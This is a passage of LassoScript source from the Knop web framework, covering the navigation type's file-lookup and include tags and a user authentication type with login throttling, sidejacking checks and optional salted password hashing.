5;\n\t\t\t\t#filename = string;\n\t\t\t\tselect: loop_count;\n\t\t\t\tcase: 1;\n\t\t\t\t\t// customer/lib_customer_edit.inc\n\t\t\t\t\tif: #filenamearray -> size >= 1;\n\t\t\t\t\t\t// at least 1 level, look in module folder\n\t\t\t\t\t\t#filenamearray_temp = #filenamearray;\n\t\t\t\t\t\t#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;\n\t\t\t\t\t\t#filename += '/' + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;\n\t\t\t\t\t/if;\n\t\t\t\tcase: 2; \n\t\t\t\t\t// customer/lib_edit.inc\n\t\t\t\t\tif: #filenamearray -> size >= ((self -> 'filenaming') == 'extension' ? 2 | 1);\n\t\t\t\t\t\t// at least 1 level (2 levels for suffix naming), look in module folder\n\t\t\t\t\t\t#filenamearray_temp = #filenamearray;\n\t\t\t\t\t\t#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;\n\t\t\t\t\t\t#filenamearray_temp -> removefirst;\n\t\t\t\t\t\t#filename += '/' + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;\n\t\t\t\t\t\tif(#filenamearray -> size == 1);\n\t\t\t\t\t\t\t// clean up underscore so filename ends up as lib.inc instead of lib_.inc etc\n\t\t\t\t\t\t\t#filename -> replace('/' + #type_short + '_' + #extension, '/' + #type_short + #extension);\n\t\t\t\t\t\t\t#filename -> replace('/_' + #type_short + #extension, '/' + #type_short + #extension);\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/if;\n\t\t\t\tcase: 3;\n\t\t\t\t\t// customer/_library/lib_customer_edit.inc\n\t\t\t\t\tif: #filenamearray -> size >= 2;\n\t\t\t\t\t\t// at least 2 levels, look in module folder\n\t\t\t\t\t\t#filenamearray_temp = #filenamearray;\n\t\t\t\t\t\t#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;\n\t\t\t\t\t\t#filename += '/' + #typefolder + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;\n\t\t\t\t\t/if;\n\t\t\t\tcase: 4;\n\t\t\t\t\t// customer/_library/lib_edit.inc\n\t\t\t\t\tif: #filenamearray -> size >= 2;\n\t\t\t\t\t\t// at least 2 levels, look in module folder\n\t\t\t\t\t\t#filenamearray_temp = #filenamearray;\n\t\t\t\t\t\t#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;\n\t\t\t\t\t\t#filenamearray_temp -> removefirst;\n\t\t\t\t\t\t#filename += '/' + #typefolder + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;\n\t\t\t\t\t/if;\n\t\t\t\tcase;\n\t\t\t\t\t// _library/lib_customer_edit.inc\n\t\t\t\t\t#filename = #basefolder + #typefolder + #prefix + (#filenamearray -> (join: '_')) \n\t\t\t\t\t\t+ #suffix + #extension;\n\t\t\t\t/select;\n\t\t\t\tif: #filename != '';\n\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': trying ' + (self -> 'fileroot') + #filename );\n\t\t\t\t\tif: #directorytree >> #filename;\n\t\t\t\t\t\t//file_exists: (self -> 'fileroot') + #filename;\n\t\t\t\t\t\t// clean up and exit\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': ** Found ' + (self -> 'fileroot') + #filename + ' in ' + (_date_msec - #findtimer) ' ms');\n\t\t\t\t\t\tself -> 'tagtime_tagname'=tag_name;\n\t\t\t\t\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\t\t\t\treturn: (self -> 'fileroot') + #filename;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t/loop;\n\t\t/loop;\n\t\t// clean exit if nothing was found\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn;\n\n\t/define_tag;\n\t\n\tdefine_tag: 'actionconfigfile', -description='Shortcut to filename: actcfg'; return: self -> (filename: 'actcfg'); \t/define_tag;\n\tdefine_tag: 'actionfile', -description='Shortcut to filename: act'; \t\treturn: self -> (filename: 'act'); \t\t/define_tag;\n\tdefine_tag: 'configfile', -description='Shortcut to filename: cfg'; \t\treturn: self -> (filename: 'cfg'); \t\t/define_tag;\n\tdefine_tag: 'libraryfile', -description='Shortcut to filename: lib'; \t\treturn: self -> (filename: 'lib'); \t\t/define_tag;\n\tdefine_tag: 'contentfile', -description='Shortcut to filename: cnt'; \t\treturn: self -> (filename: 'cnt'); \t\t/define_tag;\n\n\tdefine_tag: 'include', -description='Includes any of the files for the current path, fails silently if file does not exist. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-file (required) lib, act, cnt, cfg, actcfg or library, action, config, actionconfig, content, or any arbitrary filename',\n\t\t-required='file',\n\t\t-optional='path';\n\t\tknop_debug(self->type + ' -> ' + tag_name + ' ' + params -> first, -type=self->type, -open);\n\t\thandle;knop_debug('Done with ' + self->type + ' -> ' + tag_name + ' ' + params -> first, -close, -time, -witherrors);/handle;\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t// includes any of the files for the current path, fails silently if file does not exist\n\t\tlocal: 'translation'=(map:\n\t\t\t\t'actionconfig'= 'actcfg',\n\t\t\t\t'action'= 'act',\n\t\t\t\t'config'= 'cfg',\n\t\t\t\t'library'= 'lib',\n\t\t\t\t'content'= 'cnt'),\n\t\t\t'types'=(map: 'actcfg', 'act', 'cfg', 'lib', 'cnt'),\n\t\t\t'result'=string;\n\t\tlocal: 'type'= (#translation >> #file ? #translation -> (find: #file) | #types >> #file ? #file | 'other');\n\t\t// find out full filename\n\t\t!local_defined('path') ? local('path'=null);\n\t\tlocal: 'filename'=null;\n\t\tif: #types >> #type;\n\t\t\t// knop include\n\t\t\t#filename = self -> filename(#type, -path=#path);\n\t\telse: (self -> directorytree) >> #file;\n\t\t\t// arbitrary include within the Knop folder structure\n\t\t\t#filename = (self -> 'fileroot') + #file;\n\t\telse: (self -> directorytree) >> '_knop/' + #file;\n\t\t\t// arbitrary include one level down in _knop folder\n\t\t\t#filename = (self -> 'fileroot') + '_knop/' + #file;\n\t\t/if;\n\t\tif: #type == 'cfg' && #filename -> size && (self -> 'actionconfigfile_didrun') == #filename;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': ' + #filename ' has already run as actionconfig');\n\t\t\t//knop_debug(self->type + ' -> ' + tag_name + ': ' + #filename ' has already run as actionconfig');\n\t\t\treturn;\n\t\telse: #type == 'actcfg';\n\t\t\t// remember that we have run this config file as actionconfig so we don't run the same file again as page config\n\t\t\t(self -> 'actionconfigfile_didrun') = #filename;\n\t\t/if;\n\t\tif: #filename != '';\n\t\t\tlocal: 't'=_date_msec;\n\t\t\t#result=@(include: #filename);\n\t\t\t(self -> 'debug_trace') -> (insert: 'Include ' + #file + ': ' + #filename + ' processed in ' + (_date_msec - #t) ' ms');\n\t\t\t//knop_debug(self->type + ' -> ' + tag_name + ' ' + #file + ': ' + #filename + ' processed in ' + (_date_msec - #t) ' ms', -type=self->type);\n\t\t\tself -> 'tagtime_tagname'=tag_name;\n\t\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\treturn: @#result;\n\t\telse;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: 'Include ' + #file + ': no matching filename found');\n\t\t\tknop_debug(self->type + ' -> ' + tag_name + ' ' + #file + ': no matching filename found');\n\t\t/if;\n\t/define_tag;\n\t\n\tdefine_tag: 'library', -description='includes file just as ->include, but returns no output', \n\t\t-required='file',\n\t\t-optional='path';\n\t\t// includes file just as ->include, but returns no output\n\t\t!local_defined('path') ? local('path'=null);\n\t\tself -> include(#file, -path=#path);\n\t\t// returns nothing\n\t/define_tag;\n\n\tdefine_tag: 'directorytree', -description='Returns a map of all existing knop file paths', \n\t\t-optional='basepath'; // only used for recursive calls\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tlocal: 'dirlist'=map;\n\t\tif: (self -> 'directorytreemap') -> size;\n\t\t\t// use the stored directory tree that has already been created\n\t\t\t#dirlist = (self -> 'directorytreemap');\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': Returning stored directorytree');\n\n\t\telse;\n\t\t\t// first time calling this tag - create the directory tree\n\t\t\tif: (local_defined: 'basepath');\n\t\t\t\tlocal: 'path' = #basepath;\n\t\t\telse;\n\t\t\t\tlocal: 'path'=(self -> 'fileroot');\n\t\t\t/if;\n\t\t\t!(#path -> (endswith: '/')) ? #path += '/';\n\t\t\tlocal: 'diritem'=string,\n\t\t\t\t'dirlist_sub'=map,\n\t\t\t\t'diritem_sub'=pair;\n\t\t\titerate: file_listdirectory: #path, #diritem;\n\t\t\t\tif: !(#diritem -> (beginswith: '.'));\n\t\t\t\t\t#dirlist_sub = map;\n\t\t\t\t\t#diritem -> (removetrailing: '/');\n\t\t\t\t\tif: //#diritem -> (endswith: '/') && \n\t\t\t\t\t\t((map: '_knop', '_include', '_config', '_action', '_library', '_content') >> #diritem\n\t\t\t\t\t\t\t|| #diritem -> (beginswith: '_mod_'));\n\t\t\t\t\t\t// recursive call for sub folder within the Knop directory structure\n\t\t\t\t\t\t#dirlist_sub = self -> (directorytree: #path + #diritem);\n\t\t\t\t\t\titerate: #dirlist_sub, #diritem_sub;\n\t\t\t\t\t\t\t#dirlist -> (insert: #diritem + '/' +  #diritem_sub -> name);\n\t\t\t\t\t\t/iterate;\n\t\t\t\t\t/if;\n\t\t\t\t\t// Add item to map, with trailing / if item has sub items (folder contents)\n\t\t\t\t\t#dirlist -> (insert: #diritem + (#dirlist_sub -> size ? '/'));\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\tif: !(local_defined: 'basepath');\n\t\t\t\t// this was the topmost call in the recursive chain, so store the result\n\t\t\t\t(self -> 'directorytreemap') = #dirlist;\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': Creating directorytree');\n\t\t\t/if;\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #dirlist;\n\t/define_tag;\n\n\n\tdefine_tag: 'trace', \n\t\t-optional='html',\n\t\t-optional='xhtml';\n\t\tlocal: 'dotrace'=(self -> 'dotrace');\n\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\n\t\tlocal: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\\n' | '\\n';\n\n\t\treturn: #eol + 'Debug trace for nav $' + (self -> varname)\n\t\t\t+ (!#dotrace ? ' (detailed trace not enabled)' )\n\t\t\t+ #eol + (self -> 'debug_trace') -> (join: #eol) \n\t\t\t+ #eol;\n\n\t/define_tag;\n\n/define_type;\n\n\n?>\n[\n//------------------------------------------------------------------\n//    End knop_nav\n//------------------------------------------------------------------\n\n//##################################################################\n\n][\n//------------------------------------------------------------------\n//    Begin knop_user\n//------------------------------------------------------------------\n\n]<?LassoScript\n\ndefine_type: 'user',\n\t'knop_base',\n\t-namespace='knop_';\n//\t-prototype;\n\n\tlocal: 'version'='2009-09-18',\n\t\t'descripion'='Custom type to handle user identification and authentication';\n\n/*\n\nCHANGE NOTES\n2012-01-16\tSP\tAdded ->removedata to remove field from the data map.  Thanks to Ric Lewis.\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-06-23\tJS\t->encrypt now uses default encrypt_cipher from the custom type instead of a hard coded default\n2009-02-26\tJS\t->login: further correction on the search for login with FileMaker, to reduce the risk for false duplicates\n2009-02-26\tJS\t->login: Added optional -searchparams to be able to add more conditions to the login search, for example to exclude users that are not enabled. \n2008-12-02\tJS\t->encrypt: Changed to -hex cipher instead of encode_base64\n2008-11-05\tJS\t->getdata: corrected a check that prevented the tag from returning anything\n2008-11-05\tJC\t->login: A failed login attempt now results in a logout instead of keeping any old authentication\n2008-11-05\tJC\t->getpermission will always return falseif a user is not logged in\n2008-11-05\tJC\t->logout: The permissions map is now cleared when logging out\n2008-11-04\tJC\t->encrypt: changed incorrect encrypt_cipher to encrypt_digest\n2008-09-10\tJS\tAdded ondeserialize to make client_fingerprint_expression survive session\n2008-07-17\tJS\tImplemented ->setpermission and ->getpermission\n2008-07-17\tJS\tAdded client_fingerprint_expression as compound expression so it can be configurable by changing the instant variable\n2008-05-20\tJS\t->login: Added delay between more than 5 failed login attempts \n2008-05-08\tJS\t->login: improved the search for FileMaker datasources to make it work for email address as username\n2008-02-08\tJS\tAdded ->keys\n2008-02-03\tJS\t-> login: Corrected storage of id_user\n2007-11-27\tJS\tCoded an incomplete version\n2007-06-13\tJS\tCreated the data type\n\n// TODO: \nMake it possible for knop_user to work independently of a knop_database object by creating a custom user lookup - see http://listsearch.com/Lasso/Thread/index.lasso?20528\nuserdb reference is brooken, probably when stored in session. Can this be fixed?\nMake client_fingerprint configurable by specifying a compound expression at oncreate\nAdd support for role based permisions\n\n*/\n\n\n/*\nPurpose:\n- Maintain user identity and authentication\n- Handle database record locking more intelligently, also to be able to release all unused locks for a user\n- Authenticating user login\n- Restricting access to data\n- displaying specific navigation options depending on type of user\n\nlets add some date handling in there too like time of last login\nand probably the IP that the user logged in from.\n\n\nSome options to handle what happens when a user logs in again whilst already logged in.\nie one could:\ndisallow second login (with a message explaining why)\nautomatically log the first session out (with a message indicating what happened)\nsend a message to first session: \"Your username is attempting to log in again, do you wish to close this session, or deny the second login attempt?\"\nallow multiple logins (from the same IP address)\nallow multiple logins from any IP address\n\nAll of these could be useful options, depending of the type of app.\n\nAnd different types of user (ie normal, admin) could have different types of treatment.\n\nHandling for failed login attempts:\nOption to set how many tries can be attempted; \nOption to lock users out permanently after x failed attempts? \nLogging (to database) of failed logins / successful logins\n\nPassword recovery system (ie emailing a time sensitive link to re-set password)\nBy \"password recovery\" I'm not thinking \"email my password\" (hashed passwords can't be emailed...) but rather to email a short lived link that gives the user an opportunity to change his password. How is this different from \"password reset\"?\nYes, that is an accurate description of what I had in mind, except for the bit about emailing a short-lived link.  Instead I imagined having the user reset their password 100% on the web site through the use of \"Security Questions\", much like banks employ.\n\nI like the idea of more info attached to the user. Like login attempts, locking a user temporarily after too many failed attempts etc.\n\n\nThe setup is more or less that I have users and groups.\n\nI'm thinking that Knop shouldn't do any session handling by itself, but the knop_user variable would be stored in the app's session as any other variable. Knop should stay as lean as possible...\n\nOther things to handle:\nPrevent session sidejacking by storing and comparing the user's ip and other identifying properties.\nProvide safe password handling with strong one-way salted encryption.\n\nconsider having a separate table for auditing all user actions, including logging in, logging out, the basic CRUD actions, searches\n\nThe object have to handle situations where no user is logged in. A guest can still have rights to some actions. Modules that can be viewed. Forms that could be sent in etc.\nThat the added functions don't slow down the processing. We already have a lot of time consuming overhead in Knop.\n\n\n\nFeatures:\n1. Authentication and credentials\n- Handle the authentication process\n- Keep track of if a user is properly logged in\n- Optionally keep track of multiple logins to same account\n- Prevent sidejacking\n- Optionally handle encrypted/hashed passwords (with salt)\n- Prevent brute force attacks (delay between attempts etc)\n- Handle general information about the user\n- Provide accessors for user data\n\n2. Permissions and access control\n- Keep track of what actions a user is allowed to perform (the \"verbs\")\n- Tie into knop_nav to be able to filter out locations based on permissions\n\n3. Record locks\n- Handle clearing of record locks from knop_database\n\n4. Audit trail/logging\n- Optionally log login/logout actions\n- Provide hooks to be able to log other user actions\n\nFuture additions:\n- Keep track of what objects and resources a user is allowed to act on (the \"nouns\")\n- Provide filtering to use in database queries\n- What groups a user belongs to\n- Mechanism to update user information, password etc\n- Handle password recovery\n\n\nPermissions can be read, create, update, delete, or application specific (for example publish)\n\n*/\n\n\tlocal: 'id_user'=null,\n\t\t'validlogin'=false,\n\t\t'groups'=array,\n\t\t'data'=map,\t\t\t\t\t\t// map with arbitrary user information (name, address etc)\n\t\t'permissions'=map,\n\t\t'loginattempt_date'=(date: 0),\t// to keep track of delays multiple login attempts\n\t\t'loginattempt_count'=integer,\t// number of failed login attempts\n\n\t\t'userdb'=null,\t\t\t\t\t// database object for user authentication\n\t\t'useridfield'='id',\t\n\t\t'userfield'='username',\t\n\t\t'passwordfield'='password',\n\t\t'saltfield'=null,\n\t\t'encrypt'=false,\n\t\t'encrypt_cipher'='RIPEMD160',\t// digest encryption method\n\n\t\t'logdb'=null,\t\t\t\t\t// database object for logging\n\t\t'logeventfield'='event',\t\t// the event to be logged\n\t\t'loguserfield'='id_user',\t\t// the user who is performing the logged action\n\t\t'logobjectfield'='id_object',\t// what object is affected by the logged action\n\t\t'logdatafield'='data',\t\t\t// details about the logged action\n\n\t\t'singleuser'=false,\n\t\t'uniqueid'=null,\t\t\t\t// To track multiple logins on the same account (this is to be stored and compared server side)\n\t\t'client_fingerprint'=null,\t\t// combination of ip, useragent etc to be able to track sidejacking\n\t\t'client_fingerprint_expression'={return(encrypt_md5(string(client_ip) + client_type))},\n\t\t'dblocks'=array,\t\t\t\t// a list of all database objects that have been locked by this user \n\t\t'error_lang'=(knop_lang: -default='en', -fallback),\n\t\t;\n\n\tdefine_tag: 'oncreate', -description='Parameters:\\n\\\n\t\t\t-encrypt (optional flag or string) Use encrypted passwords. If a value is specified then that cipher will be used instead of the default RIPEMD160. If -saltfield is specified then the value of that field will be used as salt.\\n\\\n\t\t\t-singleuser (optional flag) Multiple logins to the same account are prevented (not implemented)',\n\t\t-required='userdb', -type='database',\n\t\t-optional='encrypt',\n\t\t-optional='useridfield', -type='string',\n\t\t-optional='userfield', -type='string',\n\t\t-optional='passwordfield', -type='string',\n\t\t-optional='saltfield', -type='string',\n\t\t-optional='logdb', -type='database',\n\t\t-optional='loguserfield', -type='string',\n\t\t-optional='logeventfield', -type='string',\n\t\t-optional='logdatafield', -type='string',\n\t\t-optional='singleuser';\n\t\t\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal_defined('userfield') ? (self -> 'userfield') = #userfield;\n\t\tlocal_defined('useridfield') ? (self -> 'useridfield') = #useridfield;\n\t\tlocal_defined('passwordfield') ? (self -> 'passwordfield') = #passwordfield;\n\t\tlocal_defined('saltfield') ? (self -> 'saltfield') = #saltfield;\n\t\tlocal_defined('loguserfield') ? (self -> 'loguserfield') = #loguserfield;\n\t\tlocal_defined('logeventfield') ? (self -> 'logeventfield') = #logeventfield;\n\t\tlocal_defined('logdatafield') ? (self -> 'logdatafield') = #logdatafield;\n\n\t\t// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. \n\t\tlocal_defined('userdb') ? (self -> 'userdb') = @#userdb;\n\t\tlocal_defined('logdb') ? (self -> 'logdb') = @#logdb;\n\n\t\tif: (local_defined: 'encrypt') && #encrypt != false;\n\t\t\t(self -> 'encrypt') = true;\n\t\t\tif: #encrypt -> size && (Cipher_List: -digest) >> #encrypt; // a valid digest cipher was specified\n\t\t\t\t(self -> 'encrypt_cipher') = #encrypt;\n\t\t\t/if;\n\t\telse;\n\t\t\t(self -> 'encrypt') = false;\n\t\t/if;\n\t\t(self -> 'singleuser') = (local_defined: 'singleuser') && #singleuser != false;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\n\tdefine_tag: 'ondeserialize', -description='Recreates transient variables after coming back from a session';\n\t\t// MARK: Why is client_fingerprint_expression considered a transient variable?\n\t\tself -> properties -> first -> insert('client_fingerprint_expression'={return(encrypt_md5(string(client_ip) + client_type))});\n\t/define_tag;\n\n/*\n\tdefine_tag: 'onassign', -description='Internal, needed to restore references when ctype is defined as prototype',\n\t\t-required='value';\n\t\t// recreate references here\n\t\titerate: (array: \n\t\t\t'userdb',\n\t\t\t'logdb'), (local: 'param');\n\t\t\t(self -> #param) = @(#value -> #param);\n\t\t/iterate;\n\t/define_tag;\n// */\t\n\t\n\tdefine_tag: '_unknowntag', -description='Shortcut to getdata';\n\t\tif: (self -> 'data') >> tag_name;\n\t\t\treturn: (self -> 'data') -> (find: tag_name);\n\t\telse;\n\t\t\t//fail: -9948, self -> type + '->' + tag_name + ' not known.';\n\t\t\t(self -> '_debug_trace') -> insert(self -> type + '->' + tag_name + ' not known.');\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'auth', -description='Checks if user is authenticated, returns true/false';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal: 'validlogin'=false, 'client_fingerprint_now'=string;\n\t\t// check validlogin\n\t\t#validlogin = (self -> 'validlogin');\n\t\tif: #validlogin;\n\t\t\t// check client_fingerprint to prevent sidejacking\n\t\t\t#client_fingerprint_now = (self -> 'client_fingerprint_expression') -> invoke;\n\t\t\tif: #client_fingerprint_now != (self -> 'client_fingerprint');\n\t\t\t\t#validlogin = false;\n\t\t\t\t(self -> '_debug_trace') -> insert(tag_name + ': Client fingerprint has changed - this looks like session sidejacking. Logging out.');\n\t\t\t\t(self -> 'error_code') = 7503;\n\t\t\t\tself -> logout;\n\t\t\t\t// TODO: log this\n\t\t\t/if;\n\t\t\t// TODO: if singleuser, check uniqueid\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #validlogin;\n\t/define_tag;\n\n\n\tdefine_tag: 'login', -description='Log in user. On successful login, all fields on the user record will be available by -> getdata.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-username (required) Optional if -force is specified\\n\\\n\t\t\t-password (required) Optional if -force is specified\\n\\\n\t\t\t-searchparams (optional) Extra search params array to use in combination with username and password\\n\\\n\t\t\t-force (optional) Supply a user id for a manually authenticated user if custom authentication logics is needed',\n\t\t-optional='username',\n\t\t-optional='password',\n\t\t-optional='searchparams', -type='array', -copy,\n\t\t-optional='force';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tif(!local_defined('force') && (!local_defined('username') || !local_defined('password')));\n\t\t\tfail(-9956, self -> type + '->' + tag_name + ' requires -username and -password, or -force');\n\t\t/if;\n\t\t\n\t\tlocal: 'db'=@(self -> 'userdb'),\n\t\t\t'validlogin'=false;\n\t\t\n\n\t\tif(local_defined('force') && string(#force) -> size && #force != false);\n\t\t\t(self -> '_debug_trace') -> insert(tag_name + ': ' + 'Manually authenticating user id ' + #force);\n\t\t\t#validlogin = true;\n\t\t\t(self -> 'id_user') = #force;\n\n\t\telse;\n\t\t\t!local_defined('searchparams') ? local('searchparams'=array);\n\t\t\tif((local('username') -> size && local('password') -> size));\n\t\t\t\tif((self -> 'loginattempt_count') >= 5);\n\t\t\t\t\t// login delay since last attempt was made \n\t\t\t\t\t(self -> '_debug_trace') -> insert(tag_name + ': Too many login attempts, wait until ' + (2 * (self -> 'loginattempt_count')) + ' seconds has passed since last attempt.');\n\t\t\t\t\twhile(((date - (self -> 'loginattempt_date')) -> second) <  (2 * (self -> 'loginattempt_count')) // at least 5 seconds, longer the more attempts\n\t\t\t\t\t\t&& loop_count < 100); // rescue sling\n\t\t\t\t\t\tsleep(200);\n\t\t\t\t\t/while;\n\t\t\t\t/if;\n\t\t\t\t// authenticate user against database (username must be unique)\n\t\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Authenticating user');\n\t\t\t\tif(#db -> 'isfilemaker');\n\t\t\t\t\t#searchparams -> merge(array(-op='eq', (self -> 'userfield') = '=\"' + #username + '\"'));\n\t\t\t\telse;\n\t\t\t\t\t#searchparams -> merge(array(-op='eq', (self -> 'userfield') = #username));\n\t\t\t\t/if;\n\t\t\t\t#db -> select(#searchparams);\n\t\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Searching user db, ' (#db -> found_count) + ' found ' + (#db -> error_msg) + ' ' + (#db -> action_statement));\n\t\t\t\tif: #db -> found_count == 1\n\t\t\t\t\t&& #db -> (field: (self -> 'userfield')) == #username; // double check the username\n\t\t\t\t\t// one match, continue by checking the password with case sensitive comparsion\n\t\t\t\t\tif: (self -> 'encrypt') && (self -> 'saltfield') -> size;\n\t\t\t\t\t\t// use encryption with salt\n\t\t\t\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Checking password with salted encryption');\n\t\t\t\t\t\tif: bytes: (#db -> (field: (self -> 'passwordfield'))) \n\t\t\t\t\t\t\t== bytes: (self -> (encrypt: #password, -salt=#db -> (field: (self -> 'saltfield') ), -cipher=(self -> 'encrypt_cipher') ));\n\t\t\t\t\t\t\t#validlogin=true;\n\t\t\t\t\t\t/if;\n\t\t\t\t\telse: (self -> 'encrypt');\n\t\t\t\t\t\t// use encryption with no salt\n\t\t\t\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Checking password with encryption, no salt');\n\t\t\t\t\t\tif: bytes: (#db -> (field: (self -> 'passwordfield'))) \n\t\t\t\t\t\t\t== bytes: (self -> (encrypt: #password, -cipher=(self -> 'encrypt_cipher')));\n\t\t\t\t\t\t\t#validlogin=true;\n\t\t\t\t\t\t/if;\n\t\t\t\t\telse;\n\t\t\t\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Checking plain text password');\n\t\t\t\t\t\tif: bytes: (#db -> (field: (self -> 'passwordfield'))) \n\t\t\t\t\t\t\t== bytes: #password;\n\t\t\t\t\t\t\t#validlogin=true;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\tif(#validlogin);\n\t\t\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'id_user: ' + #db -> (field: (self -> 'useridfield')));\n\t\t\t\t\t// store user id\n\t\t\t\t\t(self -> 'id_user') = #db -> (field: (self -> 'useridfield'));\n\t\t\t\t\t// store all user record fields in data map\n\t\t\t\t\t(self -> 'data') = #db -> recorddata;\n\t\t\t\t/if;\n\t\t\t/if; // #username and #password\n\t\t/if; // #force\n\n\t\tif: #validlogin; \n\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Valid login');\n\t\t\t(self -> 'loginattempt_count') = 0;\n\t\t\t(self -> 'error_code') = 0; // No error\n\t\t\t// set validlogin to true\n\t\t\t(self -> 'validlogin')=true;\n\t\t\t// log the action TODO\n\t\t\t// store client_fingerprint\n\t\t\t(self -> 'client_fingerprint') = (self -> 'client_fingerprint_expression') -> invoke;\n\t\t\t// if singleuser, store uniqueid in server side storage\n\t\telse(!(local('username') -> size && local('password') -> size));\n\t\t\t(self -> 'error_code') = 7502; // Username or password missing\n\t\t\tself -> logout;\n\t\telse;\n\t\t\t// TODO:\n\t\t\t// - block username for a while after too many attempts\n\t\t\t(self -> 'loginattempt_count') += 1;\n\t\t\t(self -> 'loginattempt_date') = date; // keep track of when last login attempt happened\n\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Invalid login (' +  (self -> 'loginattempt_count') + ' attempts)');\n\t\t\t(self -> 'error_code') = 7501; // Authentication failed\n\t\t\tself -> logout;\n\t\t\t// exit\n\t\t/if;\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\t\n\tdefine_tag: 'logout'; \n\t\tlocal: 'timer'=knop_timer; \n\t\t// set validlogin to false\n\t\t(self -> 'validlogin')=false;\n\t\t(self -> 'id_user') = null;\n\t\t(self -> 'data') = map;\n\t\t(self -> 'permissions') = map;\n\t\t\n\t\t// clear all record locks\n\t\tself -> clearlocks;\n\t\t// log the action\n\n\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Logged out');\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'getdata', -description='Get field data from the data map.',\n\t\t-required='field';\n\t\tif: (self -> 'data') >> #field;\n\t\t\treturn: (self -> 'data') -> (find: #field);\n\t\telse;\n\t\t\t(self -> '_debug_trace') -> insert(tag_name + ': ' + #field + ' not known');\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'removedata', -description='Remove field from the data map.',\n\t\t-required='field';\n\t\tif: (self -> 'data') >> #field;\n\t\t\t(self -> 'data') -> (remove: #field);\n\t\telse;\n\t\t\t(self -> '_debug_trace') -> insert(tag_name + ': ' + #field + ' not known');\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'id_user', -description='Return the user id';\n\t\tif: self -> auth;\n\t\t\treturn: (self -> 'id_user');\n\t\telse;\n\t\t\treturn: false;\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'setdata', -description='Set field data in the data map. Either -> (setdata: -field=\\'fieldname\\', -value=\\'value\\') or -> (setdata: \\'fieldname\\'=\\'value\\')',\n\t\t-required='field', -copy,\t// can also be a pair with field=value\n\t\t-optional='value', -copy;\n\t\tlocal: 'timer'=knop_timer; \n\t\tif: #field -> isa('pair');\n\t\t\tlocal: 'value'=#field -> value;\n\t\t\t#field = #field -> name;\n\t\t/if;\n\t\tfail_if: !(local_defined: 'value'), -1, (self -> type) '->setdata requires a value parameter';\n\t\t(self -> 'data') -> insert(#field = #value);\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'getpermission', -description='Returns true if user has permission to perform the specified action, false otherwise',\n\t\t-required='permission';\n\t\tif((self -> auth) && (self -> 'permissions') >> #permission);\n\t\t\treturn((self -> 'permissions') -> 